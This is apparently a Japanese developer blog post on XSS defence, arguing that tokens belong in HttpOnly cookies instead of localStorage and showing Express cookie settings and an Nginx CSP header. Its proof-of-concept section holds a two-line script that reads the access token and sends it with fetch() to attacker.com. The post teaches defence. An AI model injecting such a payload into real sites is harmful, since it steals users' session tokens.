「LocalStorageにトークン保存? まだそんな危ない橋を渡っているのか?」――XSS対策の最前線
現場でコードレビューをしていると、未だに「とりあえずJWTをLocalStorageに突っ込んでおけば、APIコールが楽でしょ」という設計を見かける。正直に言おう。その設計は、攻撃者に対して「どうぞ、この玄関の鍵を盗んでください」と広告を出しているようなものだ。
今日は、クロスサイトスクリプティング(XSS)を起点としたWeb Storage(LocalStorage/SessionStorage)のトークン窃取リスクと、我々プロが現場で実装すべき「本当のセキュリティ」について、泥臭い知見を共有する。
—
1. なぜLocalStorageは「盗まれやすい」のか
まず、攻撃者の視点に立ってみよう。XSSは、ブラウザ上で第三者のスクリプトを強制的に実行させる脆弱性だ。
もし君のアプリが localStorage.getItem('access_token') で認証情報を取得しているなら、攻撃者は脆弱性のある入力箇所に、たった一行のスクリプトを流し込むだけでいい。
攻撃のPoC(概念実証)
攻撃者は、以下のようなスクリプトを掲示板のコメント欄や、クエリパラメータに仕込む。
// 攻撃者のサーバーへLocalStorageの中身を転送するスクリプト
const token = localStorage.getItem(‘access_token’);
fetch(‘https://attacker.com/steal?token=’ + btoa(token));
ブラウザ上でこのスクリプトが動いた瞬間、君のユーザーの認証トークンは、攻撃者の手元に届く。これが反射型だろうが格納型だろうが、DOM型だろうが関係ない。LocalStorageはJavaScriptから「読み取り放題」だからだ。
—
2. 唯一の正解:HttpOnly Cookieへの移行
「LocalStorageからトークンを出す」のがゴールではない。「JavaScriptからトークンを隠す」のが我々のミッションだ。
これには、HttpOnly 属性が付与されたCookieを使うのが唯一の解だ。HttpOnly を設定すると、ブラウザはJavaScriptからのCookieアクセスを完全に遮断する。つまり、万が一XSSを許してしまっても、攻撃者はそのトークンを盗むことができない。
実装例:バックエンド(Node.js / Express)でのセキュアなCookie設定
認証成功後、トークンを Set-Cookie ヘッダーでクライアントに渡す。
// バックエンドでのセキュアなCookie発行ロジック
res.cookie(‘session_token’, token, {
httpOnly: true, // JSからのアクセスを禁止(これが最重要)
secure: true, // HTTPS通信でのみ送信
sameSite: ‘strict’, // CSRF対策。厳格なドメイン制限
maxAge: 3600000 // 1時間の有効期限
});
これで、フロントエンド側は「トークンをどう保持するか」という頭の痛い問題から解放される。ブラウザが勝手にCookieをAPIへ付与してくれるからだ。
—
3. どうしてもLocalStorageを使わざるを得ない場合(暗号化の罠)
「いや、モバイルアプリとの共通基盤だからCookieは無理だ」という言い訳を聞くこともある。しかし、LocalStorageに平文で置くのは論外だ。
もし「クライアントサイドで暗号化すればいいのでは?」と考えるなら、それは「鍵を金庫に入れず、金庫の横に貼っておく」のと同じだ。暗号化ロジックもJavaScriptで書かれている以上、攻撃者はそのロジックを解析し、復号ルーチンも盗むからだ。
結論:LocalStorageにトークンを置く設計は、何をどう頑張っても「脆弱」であるという事実を受け入れろ。
—
4. 防御の多層化(Defense in Depth)
開発者がコードを書いても、ゼロデイ脆弱性やライブラリの脆弱性でXSSが発生する可能性はゼロにならない。だからこそ、ブラウザのセキュリティ機能を「保険」として使う。
Content Security Policy (CSP) の設定
NginxやWebサーバーのレスポンスヘッダーで、強力なCSPを設定しておくこと。これにより、仮にスクリプトが埋め込まれても、外部へのデータ送信をブロックできる。
Nginxの設定例
add_header Content-Security-Policy “default-src ‘self’; script-src ‘self’; connect-src ‘self’ https://api.yoursite.com;”;
default-src 'self': 外部からの怪しい読み込みを禁止。connect-src 'self': データの送信先を自社ドメインに制限(攻撃者のドメインへのデータ送信を拒否する)。
—
後輩エンジニアへ贈る言葉
「動くコード」を書くのはジュニアエンジニアの仕事だ。「動く、かつ攻撃者が触れないコード」を書くのが、我々プロの仕事だ。
1. 認証情報はLocalStorageに置くな。
2. どうしても置くなら、HttpOnly Cookieへの移行を死ぬ気で検討せよ。
3. CSPでブラウザの口を塞げ。
セキュリティは「完成」がない。常に攻撃者の視点を持ち、自分の書いたコードを「どうやったらクラックできるか?」という意地悪な目で眺めてみてほしい。その疑い深さこそが、君と君のサービスを守る盾になるはずだ。
もし明日から実装を変更するなら、まずは今夜、認証周りのコードを読み返してみてくれ。そこに「localStorage.getItem」の文字がなければ、君はまず一歩、正しい方向に進んでいる。
コメント